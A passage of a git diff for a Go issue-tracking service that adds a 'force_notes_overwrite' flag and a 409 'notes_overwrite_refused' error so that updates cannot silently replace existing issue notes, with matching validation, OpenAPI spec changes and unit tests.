client bug — except on `updateIssue` beside `claim: true`, where the claim is the write. // // This is a deliberate SUBSET of the fields an issue carries; the members it does not spell are future surface rather than oversights, and `updateIssue`'s own description says which and why. diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 07506c59c..2da39156b 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -65,7 +65,7 @@ var ( } applyUpdateItemMembers = []string{ "expected_assignee", "expected_status", "expected_version", - "force_assignee_transfer", "force_close_policy", "patch", "target", + "force_assignee_transfer", "force_close_policy", "force_notes_overwrite", "patch", "target", } applyPatchMembers = []string{ "acceptance_criteria", "append_notes", "assignee", "defer_until", @@ -468,6 +468,9 @@ func applyUpdateItem(prefix string, encoded json.RawMessage, raw map[string]json if wire.ForceAssigneeTransfer != nil { item.ForceAssigneeTransfer = *wire.ForceAssigneeTransfer } + if wire.ForceNotesOverwrite != nil { + item.ForceNotesOverwrite = *wire.ForceNotesOverwrite + } return item, nil } @@ -990,6 +993,10 @@ func (s *Server) failApplyBatch(w http.ResponseWriter, r *http.Request, request } s.fail(w, r, res) + case errors.Is(err, storage.ErrNotesOverwrite): + s.fail(w, r, at(newResult(CodeNotesOverwrite, + "an update's `patch.notes` would replace existing non-empty notes; send `force_notes_overwrite`, or use `patch.append_notes` to preserve history"), "notes")) + case errors.Is(err, issueops.ErrVersionMismatch), errors.Is(err, issueops.ErrStatusMismatch), errors.Is(err, issueops.ErrAssigneeMismatch): diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index b9446890e..300bd86fa 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -74,8 +74,8 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { {"kind":"update","update":{ "target":{"key":"root"}, "expected_status":"open","expected_assignee":"bob", - "force_close_policy":true,"force_assignee_transfer":true, - "patch":{"title":"renamed","status":"closed","assignee":"dave","owner":"erin", + "force_close_policy":true,"force_assignee_transfer":true,"force_notes_overwrite":true, + "patch":{"title":"renamed","status":"closed","assignee":"dave","owner":"erin","notes":"replacement", "labels":{"replace":["a"],"add":["b"],"remove":["c"]}, "metadata":{"set":{"k":null},"unset":["old"]}, "estimated_minutes":null}}}, @@ -179,8 +179,12 @@ func TestApplyBatchForwardsEveryLevelOfTheDocumentedBody(t *testing.T) { if update.ExpectedAssignee == nil || *update.ExpectedAssignee != "bob" { t.Errorf("update.expected_assignee = %v, want bob", update.ExpectedAssignee) } - if !update.ForceClosePolicy || !update.ForceAssigneeTransfer { - t.Errorf("update force flags = %v/%v, want both true", update.ForceClosePolicy, update.ForceAssigneeTransfer) + if !update.ForceClosePolicy || !update.ForceAssigneeTransfer || !update.ForceNotesOverwrite { + t.Errorf("update force flags = %v/%v/%v, want all three true", + update.ForceClosePolicy, update.ForceAssigneeTransfer, update.ForceNotesOverwrite) + } + if !update.Patch.Notes.Set || update.Patch.Notes.Value != "replacement" { + t.Errorf("update.patch.notes = %+v, want replacement", update.Patch.Notes) } if !update.Patch.Status.Set || string(update.Patch.Status.Value) != "closed" { t.Errorf("update.patch.status = %+v, want the crossing status this operation publishes", update.Patch.Status) diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index c213de63a..cab58a9dc 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -126,6 +126,16 @@ const ( // fails on state the client cannot see without reading it. That is the // not_claimable situation and it gets the not_claimable answer. CodeNotClosable Code = "not_closable" + // CodeNotesOverwrite is a `patch.notes` that would replace existing + // non-empty notes with a different value, refused unless + // `force_notes_overwrite` is set. It is the notes analog of + // CodeAlreadyClaimed: a live-state fence with a force bypass — but unlike + // that fence it carries no compare-and-set alternative and no extension + // member, because there is no observation to attach: the refusal is + // entirely a statement about the request's own two values (the existing + // notes and the patched ones), not about a foreign actor's identity a + // client might need to display. + CodeNotesOverwrite Code = "notes_overwrite_refused" // CodeDependencyCycle covers BOTH never-makes-progress refusals a requested // edge set can earn: a scheduling cycle, and a blocking edge against the // issue's own ancestor or descendant. They are one code because they have @@ -251,6 +261,7 @@ var codeStatus = map[Code]int{ CodeAlreadyClaimed: http.StatusConflict, CodeNotClaimable: http.StatusConflict, CodeNotClosable: http.StatusConflict, + CodeNotesOverwrite: http.StatusConflict, CodeNotReleasable: http.StatusConflict, CodeDependencyCycle: http.StatusConflict, CodeDependencyExists: http.StatusConflict, @@ -849,7 +860,7 @@ var operationCodes = map[string][]Code{ // with the fence: a refused claim answers as claimIssue does. OpUpdateIssue: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, - CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, + CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, CodeNotClaimable, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -911,7 +922,7 @@ var operationCodes = map[string][]Code{ // resource this operation was asked to address. OpApplyBatch: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, - CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeAlreadyExists, + CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, CodeAlreadyExists, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 7bd5a40dc..4fde46144 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2422,7 +2422,7 @@ paths: scheduling cycle, every time. x-bd-codes: [already_claimed, dependency_cycle, dependency_exists, - not_claimable, not_closable, precondition_failed] + not_claimable, not_closable, notes_overwrite_refused, precondition_failed] content: application/problem+json: schema: @@ -4029,7 +4029,7 @@ paths: a malformed request. x-bd-codes: [already_claimed, already_exists, dependency_cycle, - dependency_exists, not_closable, precondition_failed] + dependency_exists, not_closable, notes_overwrite_refused, precondition_failed] content: application/problem+json: schema: @@ -9174,6 +9174,18 @@ components: idempotent and needs no force. It requires `patch.assignee` — a request setting it without one is a `400` — and it must be false when `expected_assignee` is sent. + force_notes_overwrite: + type: boolean + default: false + description: >- + Bypasses ONLY the refusal on a `patch.notes` that would replace + existing non-empty notes with different non-empty content (an + explicit clear is not fenced). It requires + `patch.notes` — an item setting it without one is a `400` — and, + UNLIKE `force_assignee_transfer`, it has no `expected_assignee` + exemption: there is no compare-and-set that authorizes a notes + overwrite, so combining the two is legal and each answers its own + question. ApplyPatchBody: type: object @@ -9225,7 +9237,10 @@ components: type: string description: >- Replaces the notes. Mutually exclusive with `append_notes`; sending - both is a `400`. + both is a `400`. Replacing EXISTING non-empty notes with + different non-empty content is refused with `409 + notes_overwrite_refused` unless `force_notes_overwrite` is set; an + explicit clear (empty string) is not fenced. append_notes: type: string description: >- @@ -10523,6 +10538,18 @@ components: idempotent and needs no force. It requires `patch.assignee` — a request setting it without one is a `400` — and it must be false when `expected_assignee` is sent. + force_notes_overwrite: + type: boolean + default: false + description: >- + Bypasses ONLY the refusal on a `patch.notes` that would replace + existing non-empty notes with different non-empty content (an + explicit clear is not fenced). It requires + `patch.notes` — a request setting it without one is a `400` — + and, UNLIKE `force_assignee_transfer`, it has no + `expected_assignee` exemption: there is no compare-and-set that + authorizes a notes overwrite, so combining the two is legal and + each answers its own question. IssuePatchBody: type: object @@ -10565,7 +10592,10 @@ components: type: string description: >- Replaces the notes. Mutually exclusive with `append_notes`; sending - both is a `400`. + both is a `400`. Replacing EXISTING non-empty notes with + different non-empty content is refused with `409 + notes_overwrite_refused` unless `force_notes_overwrite` is set; an + explicit clear (empty string) is not fenced. append_notes: type: string description: >- diff --git a/internal/httpapi/update.go b/internal/httpapi/update.go index 027183599..35feb3932 100644 --- a/internal/httpapi/update.go +++ b/internal/httpapi/update.go @@ -39,7 +39,7 @@ const ( var ( updateRequestMembers = []string{ "actor", updateClaimMember, "expected_assignee", "expected_status", "expected_version", - "force_assignee_transfer", "force_close_policy", updatePatchMember, + "force_assignee_transfer", "force_close_policy", "force_notes_overwrite", updatePatchMember, } issuePatchMembers = []string{ "title", "description", "design", "acceptance_criteria", @@ -177,6 +177,15 @@ func (s *Server) updateRequest(w http.ResponseWriter, r *http.Request, id string if !ok { return issueops.UpdateRequest{}, false } + forceNotesOverwrite, ok := s.booleanMember(w, r, members, "force_notes_overwrite") + if !ok { + return issueops.UpdateRequest{}, false + } + if forceNotesOverwrite && !patch.Notes.Set { + s.fail(w, r, InvalidArgument("force_notes_overwrite", ReasonInvalidValue, + "`force_notes_overwrite` bypasses the fence on a NOTES REPLACEMENT; send `patch.notes` with it")) + return issueops.UpdateRequest{}, false + } // The role refuses a claim beside the assignee and status guards, and a // claim beside the forced transfer (ValidateUpdateRequest): the claim is // its own compare-and-set, with claim-pool eligibility the guards do not @@ -234,6 +243,7 @@ func (s *Server) updateRequest(w http.ResponseWriter, r *http.Request, id string ExpectedAssignee: expectedAssignee, ForceClosePolicy: forceClosePolicy, ForceAssigneeTransfer: forceAssigneeTransfer, + ForceNotesOverwrite: forceNotesOverwrite, Provenance: updateProvenance, }, true } @@ -507,15 +517,15 @@ func patchParam(member string) string { // EVERY 409 BRANCH READS TYPED FIELDS, never prose, and every one of them is // matched BEFORE the ErrValidation and ErrNotFound arms. That order is the // whole correctness of this function, and the hazard it avoids is worse than a -// disagreement between backends: NEITHER LEG WRAPS THESE FIVE FAMILIES IN +// disagreement between backends: NEITHER LEG WRAPS THESE SIX FAMILIES IN // ErrValidation. The store legs return ExecuteUpdate's error through // runIssueOperationTx unchanged (internal/storage/dolt/issue_operations.go) and // the unit of work returns ApplyUpdate's unchanged // (internal/storage/uow/issue_operations.go), so a precondition miss, a close- -// policy refusal, the assignee fence and both graph refusals reach here as bare -// sentinels. Below the ErrValidation arm they would all fall into `!Is(...)` -// and be swallowed into failErr — a generic 500, on BOTH legs, for five -// conditions this document names by code. +// policy refusal, the assignee fence, the notes-overwrite fence and both graph +// refusals reach here as bare sentinels. Below the ErrValidation arm they +// would all fall into `!Is(...)` and be swallowed into failErr — a generic +// 500, on BOTH legs, for six conditions this document names by code. // // NEITHER BRANCH QUOTES THE ROLE'S MESSAGE. A refusal from the workspace's // configured vocabulary arrives as prose about statuses and types, and a @@ -594,6 +604,11 @@ func (s *Server) failUpdate(w http.ResponseWriter, r *http.Request, request issu } s.fail(w, r, res) + case errors.Is(err, storage.ErrNotesOverwrite): + s.fail(w, r, named(newResult(CodeNotesOverwrite, + "`patch.notes` would replace existing non-empty notes; send `force_notes_overwrite`, or use `patch.append_notes` to preserve history"), + patchParam("notes"))) + case errors.As(err, &typeConflict): s.fail(w, r, named(newResult(CodeDependencyExists, "this pair already carries an edge of a different type; remove it before reparenting"). diff --git a/internal/httpapi/update_test.go b/internal/httpapi/update_test.go index 521b4e9e4..8dd401a1b 100644 --- a/internal/httpapi/update_test.go +++ b/internal/httpapi/update_test.go @@ -88,7 +88,7 @@ func TestUpdateForwardsEveryDocumentedMember(t *testing.T) { t.Errorf("the role received actor %q id %q", req.Actor, req.IssueID) } // Every precondition and force flag stays zero: unpublished on this surface. - if req.Claim || req.ForceAssigneeTransfer || req.ForceClosePolicy || + if req.Claim || req.ForceAssigneeTransfer || req.ForceClosePolicy || req.ForceNotesOverwrite || req.ExpectedVersion != nil || req.ExpectedAssignee != nil || req.ExpectedStatus != nil { t.Errorf("the handler published a precondition or force flag: %+v", req) } @@ -320,6 +320,7 @@ func TestUpdateRejectsTheShapesTheDocumentRefuses(t *testing.T) { {"unknown metadata member", `{"actor":"alice","patch":{"metadata":{"clear":true}}}`, "patch.metadata.clear"}, {"force_assignee_transfer without an assignee edit", `{"actor":"alice","patch":{"title":"t"},"force_assignee_transfer":true}`, "force_assignee_transfer"}, {"force_assignee_transfer beside expected_assignee", `{"actor":"alice","patch":{"assignee":"bob"},"force_assignee_transfer":true,"expected_assignee":"carol"}`, "force_assignee_transfer"}, + {"force_notes_overwrite without a notes edit", `{"actor":"alice","patch":{"title":"t"},"force_notes_overwrite":true}`, "force_notes_overwrite"}, // The guard is a decimal STRING; a bare number is the spelling this // contract deliberately does not also accept, since a double-based // client would have rounded it before it ever arrived. @@ -928,6 +929,15 @@ func TestUpdateAnswersThePolicyRefusalsItsMembersEarned(t *testing.T) { } }, }, + { + name: "notes overwrite refused", + body: `{"actor":"alice","patch":{"notes":"replacement"}}`, + err: fmt.Errorf("update: %w: issue bd-1", storage.ErrNotesOverwrite), + wantStatus: http.StatusConflict, + wantCode: CodeNotesOverwrite, + wantParam: "patch.notes", + check: func(*testing.T, map[string]any) {}, + }, { // THE DEFENSIVE ARM, driven directly because no reparent can reach // it: CheckBlockingHierarchyInTx probes `blocks` and diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 331484351..beb67612b 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -121,6 +121,7 @@ go_library( go_test( name = "issueops_test", srcs = [ + "aggregate_authorize_notes_test.go", "aggregate_authorize_transfer_test.go", "as_of_test.go", "batch_apply_test.go", diff --git a/internal/storage/issueops/aggregate.go b/internal/storage/issueops/aggregate.go index 9f0c35efc..f56fddc04 100644 --- a/internal/storage/issueops/aggregate.go +++ b/internal/storage/issueops/aggregate.go @@ -45,7 +45,7 @@ func UpdateFields(patch publicops.IssuePatch) map[string]interface{} { {patch.Design.Set, "design", patch.Design.Value}, {patch.AcceptanceCriteria.Set, "acceptance_criteria", patch.AcceptanceCriteria.Value}, {patch.Notes.Set, "notes", patch.Notes.Value}, - {patch.AppendNotes.Set, "append_notes", patch.AppendNotes.Value}, + {patch.AppendNotes.Set, OpAppendNotes, patch.AppendNotes.Value}, {patch.SpecID.Set, "spec_id", patch.SpecID.Value}, {patch.AwaitID.Set, "await_id", patch.AwaitID.Value}, {patch.Status.Set, "status", patch.Status.Value}, @@ -76,6 +76,18 @@ func ValidateUpdateRequest(request publicops.UpdateRequest) error { if request.ForceAssigneeTransfer && (request.Claim || !request.Patch.Assignee.Set || request.ExpectedAssignee != nil) { return fmt.Errorf("%w: invalid forced assignee transfer", storage.ErrValidation) } + if request.ForceNotesOverwrite && !request.Patch.Notes.Set { + return fmt.Errorf("%w: invalid forced notes overwrite", storage.ErrValidation) + } + // Checked HERE, ahead of the notes-overwrite fence in ExecuteUpdate: a + // patch setting both Notes and AppendNotes is an invalid REQUEST, not a + // refused overwrite, and must report ErrValidation even when the notes + // fence would independently refuse the same Notes value. The uow backend + // reaches this same check through validateUpdateRequest, which both of + // its update paths run before their own fence calls, for the same reason. + if request.Patch.Notes.Set && request.Patch.AppendNotes.Set { + return fmt.Errorf("%w: cannot combine a notes replacement with %s", storage.ErrValidation, OpAppendNotes) + } patch := request.Patch if patch.Title.Set { if err := types.ValidateIssueTitle(patch.Title.Value); err != nil { @@ -185,6 +197,40 @@ func AuthorizeAssigneeTransfer(ctx context.Context, tx DBTX, before *types.Issue return AuthorizeAssigneeTransferWithPools(before, request, pools) } +// AuthorizeNotesOverwrite protects existing non-empty notes from an unforced +// replacement. It refuses when the patch sets Notes to a +// publicops.NotesReplacement of before.Notes (which exempts an explicit +// clear) and request.ForceNotesOverwrite is false. +// +// It applies REGARDLESS of request.ExpectedAssignee, deliberately: unlike the +// assignee fence, there is no compare-and-set that authorizes a notes +// overwrite the way a matching ExpectedAssignee authorizes an assignee +// transfer, so pairing a notes edit with an assignee guard does not exempt it. +// A STALE guard still outranks it, though — both backends check the +// compare-and-set preconditions before calling here, so a mismatch reports as +// the mismatch, never as this refusal. +// +// Enforcement boundary: this fences the issueops-contract surfaces +// (ExecuteUpdate, the uow update and batch legs). The map-based +// UpdateIssueInTx funnel does not consult it, and it has several +// notes-replacing callers, not one. They fall into classes that are all +// sighted or derived rather than blind: editor pre-fill that starts from the +// current notes (`bd edit`), read-combine-write that appends to them +// (`bd note`, `bd defer --reason`), mechanical ID rewrites of existing text +// (`bd rename`, delete-tombstoning), and explicit clears (`bd compact`). Each +// derives its new value from the current notes, so none is the blind clobber +// this fence exists to stop. `bd import` is exempt BY DESIGN (GH#6190), along with every +// other live-state fence: its contract is row replacement, guarded by its own +// staleness check (only strictly-newer rows rewrite local state; deliberate +// overwrites of newer state require --allow-stale) and reported field-by-field +// in updated_issues — the bulk-path analog of this fence's per-field --force. +func AuthorizeNotesOverwrite(before *types.Issue, request publicops.UpdateRequest) error { + if !request.Patch.Notes.Set || !publicops.NotesReplacement(before.Notes, request.Patch.Notes.Value) || request.ForceNotesOverwrite { + return nil + } + return fmt.Errorf("%w: issue %s", storage.ErrNotesOverwrite, before.ID) +} + // ApplyMetadataPatch returns the canonical metadata value and whether it changes. func ApplyMetadataPatch(current json.RawMessage, patch publicops.MetadataPatch) (json.RawMessage, bool, error) { if !patch.Replace.Set && !patch.Merge.Set && len(patch.Set) == 0 && len(patch.Unset) == 0 { diff --git a/internal/storage/issueops/aggregate_authorize_notes_test.go b/internal/storage/issueops/aggregate_authorize_notes_test.go new file mode 100644 index 000000000..5efabce59 --- /dev/null +++ b/internal/storage/issueops/aggregate_authorize_notes_test.go @@ -0,0 +1,99 @@ +package issueops + +import ( + "errors" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestAuthorizeNotesOverwrite pins every branch of the notes-overwrite fence. +func TestAuthorizeNotesOverwrite(t *testing.T) { + withNotes := func(notes string) *types.Issue { + return &types.Issue{ID: "bd-1", Notes: notes} + } + notesPatch := func(mutate func(*publicops.UpdateRequest)) publicops.UpdateRequest { + request := publicops.UpdateRequest{ + Actor: "actor", + IssueID: "bd-1", + Patch: publicops.IssuePatch{Notes: publicops.Field[string]{Set: true, Value: "replacement"}}, + } + if mutate != nil { + mutate(&request) + } + return request + } + holder := "someone" + + cases := []struct { + name string + before *types.Issue + request publicops.UpdateRequest + refuse bool + }{ + { + name: "unset notes patch", + before: withNotes("original"), + request: notesPatch(func(r *publicops.UpdateRequest) { r.Patch.Notes = publicops.Field[string]{} }), + }, + { + name: "existing notes empty", + before: withNotes(""), + request: notesPatch(nil), + }, + { + name: "new value matches existing", + before: withNotes("original"), + request: notesPatch(func(r *publicops.UpdateRequest) { r.Patch.Notes.Value = "original" }), + }, + { + // An explicit clear passes unfenced, like every sibling text + // field's clear; the fence targets non-empty replacement content. + name: "explicit clear", + before: withNotes("original"), + request: notesPatch(func(r *publicops.UpdateRequest) { r.Patch.Notes.Value = "" }), + }, + { + name: "forced overwrite", + before: withNotes("original"), + request: notesPatch(func(r *publicops.UpdateRequest) { r.ForceNotesOverwrite = true }), + }, + { + // Deliberately NOT exempted by ExpectedAssignee, unlike the + // assignee fence: there is no compare-and-set that authorizes a + // notes overwrite, so pairing the two guards does not stand this + // one down. + name: "expected assignee set does not exempt it", + before: withNotes("original"), + request: notesPatch(func(r *publicops.UpdateRequest) { r.ExpectedAssignee = &holder }), + refuse: true, + }, + { + name: "unforced overwrite refuses", + before: withNotes("original"), + request: notesPatch(nil), + refuse: true, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + err := AuthorizeNotesOverwrite(tc.before, tc.request) + if !tc.refuse { + if err != nil { + t.Fatalf("AuthorizeNotesOverwrite = %v, want nil", err) + } + return + } + if !errors.Is(err, storage.ErrNotesOverwrite) { + t.Fatalf("AuthorizeNotesOverwrite = %v, want ErrNotesOverwrite", err) + } + if !strings.Contains(err.Error(), tc.before.ID) { + t.Errorf("refusal %q omits issue %s", err, tc.before.ID) + } + }) + } +} diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 394c207f6..59dec2a1c 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -279,6 +279,7 @@ func (r *applyBatchRun) applyUpdate(ctx context.Context, tx *sql.Tx, index int, ExpectedAssignee: item.ExpectedAssignee, ForceClosePolicy: item.ForceClosePolicy, ForceAssigneeTransfer: item.ForceAssigneeTransfer, + ForceNotesOverwrite: item.ForceNotesOverwrite, }) if err != nil { return &publicops.ItemError{Index: index, Kind: publicops.ItemUpdate, Key: item.Target.Key, IssueID: id, Err: err} diff --git a/internal/storage/issueops/execution.go b/internal/storage/issueops/execution.go index af1208596..f9a314f61 100644 --- a/internal/storage/issueops/execution.go +++ b/internal/storage/issueops/execution.go @@ -169,6 +169,9 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ if err := AuthorizeAssigneeTransfer(ctx, tx, before, attempt); err != nil { return publicops.UpdateResult{}, nil, err } + if err := AuthorizeNotesOverwrite(before, attempt); err != nil { + return publicops.UpdateResult{}, nil, err + } // Every constituent below runs its no-mint variant: one guarded update is // one caller-visible mutation, and its version is minted exactly once at // the end, after the last patch, so durable_state carries the final row, diff --git a/internal/storage/issueops/update_validation_test.go b/internal/storage/issueops/update_validation_test.go index d1834583c..6d62ba038 100644 --- a/internal/storage/issueops/update_validation_test.go +++ b/internal/storage/issueops/update_validation_test.go @@ -31,6 +31,45 @@ func TestValidateUpdateRequestRejectsInvalidCanonicalFields(t *testing.T) { } } +// TestValidateUpdateRequestRejectsInvalidNotesRequestShapes covers the two +// notes rules ValidateUpdateRequest owns that are properties of the REQUEST +// rather than of the patch alone, so they cannot be expressed in the +// patch-only table above. Both are contract-level: the batch apply leg reaches +// them here and nowhere else, and the single-issue HTTP handler's own +// pre-check returns before storage is reached, so without these cases the +// branches backing the published ApplyUpdateItem promise are unexercised. +func TestValidateUpdateRequestRejectsInvalidNotesRequestShapes(t *testing.T) { + for _, tc := range []struct { + name string + request publicops.UpdateRequest + }{ + { + name: "forced notes overwrite without a notes value", + request: publicops.UpdateRequest{ + Actor: "actor", IssueID: "bd-validate", + ForceNotesOverwrite: true, + }, + }, + { + name: "notes replacement combined with append", + request: publicops.UpdateRequest{ + Actor: "actor", IssueID: "bd-validate", + Patch: publicops.IssuePatch{ + Notes: publicops.Field[string]{Set: true, Value: "replacement"}, + AppendNotes: publicops.Field[string]{Set: true, Value: "addition"}, + }, + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + err := ValidateUpdateRequest(tc.request) + if !errors.Is(err, storage.ErrValidation) { + t.Fatalf("ValidateUpdateRequest() error = %v, want ErrValidation", err) + } + }) + } +} + func TestApplyMetadataPatchRejectsUnsafeKeysAndNullMerge(t *testing.T) { for _, tc := range []struct { name string diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 28b9536c7..0a934f2e3 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -37,6 +37,7 @@ var ( ErrAlreadyIdentified = issueops.ErrAlreadyIdentified ErrVersionMismatch = issueops.ErrVersionMismatch ErrStatusMismatch = issueops.ErrStatusMismatch + ErrNotesOverwrite = issueops.ErrNotesOverwrite ) // CloseOpenChildrenError reports the issue and open-child count that refused a diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index 927b36a96..1c8d0033f 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -241,6 +241,7 @@ func (r *uowApplyRun) applyUpdate(ctx context.Context, index int, item *publicop ExpectedAssignee: item.ExpectedAssignee, ForceClosePolicy: item.ForceClosePolicy, ForceAssigneeTransfer: item.ForceAssigneeTransfer, + ForceNotesOverwrite: item.ForceNotesOverwrite, } if err := validateUpdateRequest(request); err != nil { return itemErr(err) @@ -284,6 +285,9 @@ func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateReq if err := authorizeAssigneeTransfer(ctx, r.uw, before, request); err != nil { return publicops.UpdateResult{}, err } + if err := storageissueops.AuthorizeNotesOverwrite(before, request); err != nil { + return publicops.UpdateResult{}, err + } } // ActorMatches (not a verbatim compare, ga-v2k49): see the identical // comment on issueOperations.Update's claimChanged in issue_operations.go diff --git a/internal/storage/uow/issue_operations.go b/internal/storage/uow/issue_operations.go index ee8ca59f7..c0f3451d8 100644 --- a/internal/storage/uow/issue_operations.go +++ b/internal/storage/uow/issue_operations.go @@ -234,6 +234,9 @@ func (o *issueOperations) Update(ctx context.Context, request publicops.UpdateRe if err := authorizeAssigneeTransfer(ctx, uw, before, attempt); err != nil { return publicops.UpdateResult{}, "", err } + if err := storageissueops.AuthorizeNotesOverwrite(before, attempt); err != nil { + return publicops.UpdateResult{}, "", err + } } // ActorMatches (not a verbatim compare, ga-v2k49): a holder re-claiming // under a respelled identity is a real CAS win one layer down (domain/db's @@ -255,9 +258,13 @@ func (o *issueOperations) Update(ctx context.Context, request publicops.UpdateRe // updatePreconditionsHold reports whether request's compare-and-set // preconditions match before — that is, whether ApplyUpdate would get past its -// own guards, leaving the assignee fence as the operative refusal. -// ExpectedAssignee needs no entry here: the fence already stands down whenever -// a caller supplies one. +// own guards, leaving the fences as the operative refusals. ExpectedAssignee +// belongs here since the notes fence arrived: the ASSIGNEE fence stands down +// whenever a caller supplies one, but the notes fence deliberately does not, +// and a stale compare-and-set must outrank it (the dolt leg orders +// CheckExpectedFieldsInTx ahead of AuthorizeNotesOverwrite). The comparison is +// ActorMatches, not verbatim ==, matching CheckExpectedFieldsInTx (ga-wzl83); +// a pointer to "" is a real guard meaning "expected unassigned". func updatePreconditionsHold(request publicops.UpdateRequest, before *types.Issue) bool { if request.ExpectedVersion != nil && *request.ExpectedVersion != before.RowVersion { return false @@ -265,6 +272,9 @@ func updatePreconditionsHold(request publicops.UpdateRequest, before *types.Issu if request.ExpectedStatus != nil && *request.ExpectedStatus != before.Status { return false } + if request.ExpectedAssignee != nil && !storageissueops.ActorMatches(before.Assignee, *request.ExpectedAssignee) { + return false + } return true } @@ -312,9 +322,9 @@ func updateSpec(request publicops.UpdateRequest) (domain.UpdateSpec, error) { setField(fields, "external_ref", patch.ExternalRef) setField(fields, "due_at", patch.DueAt) setField(fields, "defer_until", patch.DeferUntil) - if patch.Notes.Set && patch.AppendNotes.Set { - return domain.UpdateSpec{}, validationError(fmt.Errorf("update: notes and append notes cannot both be set")) - } + // Notes+AppendNotes is refused by ValidateUpdateRequest, which both + // callers (issueOperations.Update and the batch applier) run before + // building a spec — no duplicate check here. setField(fields, "notes", patch.Notes) if patch.AppendNotes.Set { fields[storageissueops.OpAppendNotes] = patch.AppendNotes.Value diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 88c9c80ab..0af723de1 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -149,11 +149,13 @@ type UpdateItem struct { ExpectedVersion *int64 ExpectedStatus *Status ExpectedAssignee *string - // ForceClosePolicy and ForceAssigneeTransfer are UpdateRequest's, per item, - // with UpdateRequest's rules — including that ForceAssigneeTransfer without - // a Patch.Assignee is invalid. + // ForceClosePolicy, ForceAssigneeTransfer and ForceNotesOverwrite are + // UpdateRequest's, per item, with UpdateRequest's rules — including that + // ForceAssigneeTransfer without a Patch.Assignee, and ForceNotesOverwrite + // without a Patch.Notes, are each invalid. ForceClosePolicy bool ForceAssigneeTransfer bool + ForceNotesOverwrite bool } // CloseItem closes one existing issue, under CloseRequest's rules. diff --git a/issueops/errors.go b/issueops/errors.go index 20eb03d30..7dc2dc171 100644 --- a/issueops/errors.go +++ b/issueops/errors.go @@ -63,6 +63,32 @@ type ErrUnsupported = beadserrors.ErrUnsupported // UpdateRequest.ExpectedAssignee. var ErrAssigneeMismatch = errors.New("assignee mismatch") +// ErrNotesOverwrite is returned when an update's Patch.Notes would replace +// existing non-empty notes with different non-empty content (see +// NotesReplacement) and UpdateRequest.ForceNotesOverwrite is false. It is +// independent of the assignee fence — +// unlike ErrAlreadyClaimed it applies regardless of ExpectedAssignee — because +// there is no compare-and-set that authorizes a notes overwrite the way a +// matching ExpectedAssignee authorizes an assignee transfer. Bypass with +// ForceNotesOverwrite (`bd update --force`); preserve history instead with +// --append-notes. +var ErrNotesOverwrite = errors.New("update would replace existing notes") + +// NotesReplacement reports whether proposed would replace existing non-empty +// notes with different non-empty content — the one condition the +// notes-overwrite fence refuses without ForceNotesOverwrite. An explicit +// clear (proposed "") is not a replacement: every sibling text field clears +// the same way, the blind-clobber pattern the fence exists to stop is an +// agent writing its own non-empty content over someone else's, and the +// refusal's advice (force, or append) is meaningless for a clear. The clear +// itself is guarded separately at the CLI flag layer (`--notes ""` is +// refused; `bd update --clear-notes` is the deliberate verb, GH#6021), where +// an accidental empty — a dead command substitution — cannot be told from a +// deliberate one by its bytes; that guard is not this predicate's concern. +func NotesReplacement(existing, proposed string) bool { + return existing != "" && proposed != "" && proposed != existing +} + // ErrNotOwner is returned when an actor tries to release a claim that a // different actor holds. Releasing another actor's claim requires the force // escape hatch (ReleaseRequest.Force, `bd unclaim --force`), reserved for diff --git a/issueops/issueops.go b/issueops/issueops.go index fa0f5544a..aa2bd2101 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -252,6 +252,19 @@ type UpdateRequest struct { // therefore maps that flag to both fields, conditioning this one on an // assignee edit. ForceAssigneeTransfer bool + // ForceNotesOverwrite bypasses only the refusal on a Patch.Notes that is a + // NotesReplacement of the existing notes — replacing non-empty notes with + // different non-empty content; an explicit clear is not fenced. The zero + // value enforces the fence. It has no effect without such a Patch.Notes edit, and + // a request that sets it with no Patch.Notes is invalid. It is independent + // of ForceAssigneeTransfer and ForceClosePolicy — neither bypasses this, nor + // does this bypass either of them — and, deliberately, of ExpectedAssignee + // too: a caller pairing a notes edit with an assignee compare-and-set still + // needs this bit to overwrite notes, and setting it never touches the + // assignee guard. A command adapter with a single --force flag therefore + // maps that flag to 